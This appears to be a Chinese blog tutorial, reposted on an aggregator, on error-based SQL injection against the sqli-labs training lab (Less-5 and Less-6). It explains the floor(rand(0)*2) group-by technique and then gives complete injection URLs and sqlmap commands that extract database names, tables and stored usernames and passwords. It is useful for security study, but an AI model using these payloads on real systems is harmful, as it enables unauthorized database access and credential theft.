SQL | GET报错注入
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL | GET报错注入相关的知识,希望对你有一定的参考价值。
SQL | GET报错注入
1.报错注入介绍
报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,
然后再执行外面的select,双注入主要涉及到了几个SQL函数:
rand()
随机函数,返回0~1之间的某个值
floor(a)
向下取整函数,返回小于等于a,且值最接近a的一个整数
count()
聚合函数也称作计数函数,返回查询对象的总数
group by clase
分组语句,按照查询结果分组
通过报错来显示具体信息
查询的时候如果使用rand()
的话,该值会被计算多次。在使用group by
的时候,floor(rand(0)*2)
会被执行一次,如果虚表不存在记录,插入虚表的时候会再执行一次。在一次多记录的查询过程中floor(rand(0)*2)
的值是定性的,为011011
select count(*) from 表名 group by floor(rand(0)*2);
2.GET单引号报错注入
以Sqli-Lab Less 5
为例
1.获取数据库
http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
2.获取表名
http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
3.获取用户信息
http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
3.GET双引号报错注入
与单引号注入大同小异
1.获取数据库
http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
2.获取数据表
http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
3.获取用户信息
http://localhost/sqli-labs-master/Less-6/?id=1" union select 1,2,3 from(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
4.Sqlmap安全测试
在我们实战或工作当中,报错注入使用手动测试可能会影响效率,我们还是使用sqlmap进行测试
1.获取数据库
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" --current-db
2.获取数据库中的数据表
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security --tables
3.获取字段名
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users --columns
4.获取字段中的内容
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-5/?id=1" -D security -T users -C "username,password" --dump
以上是关于SQL | GET报错注入的主要内容,如果未能解决你的问题,请参考以下文章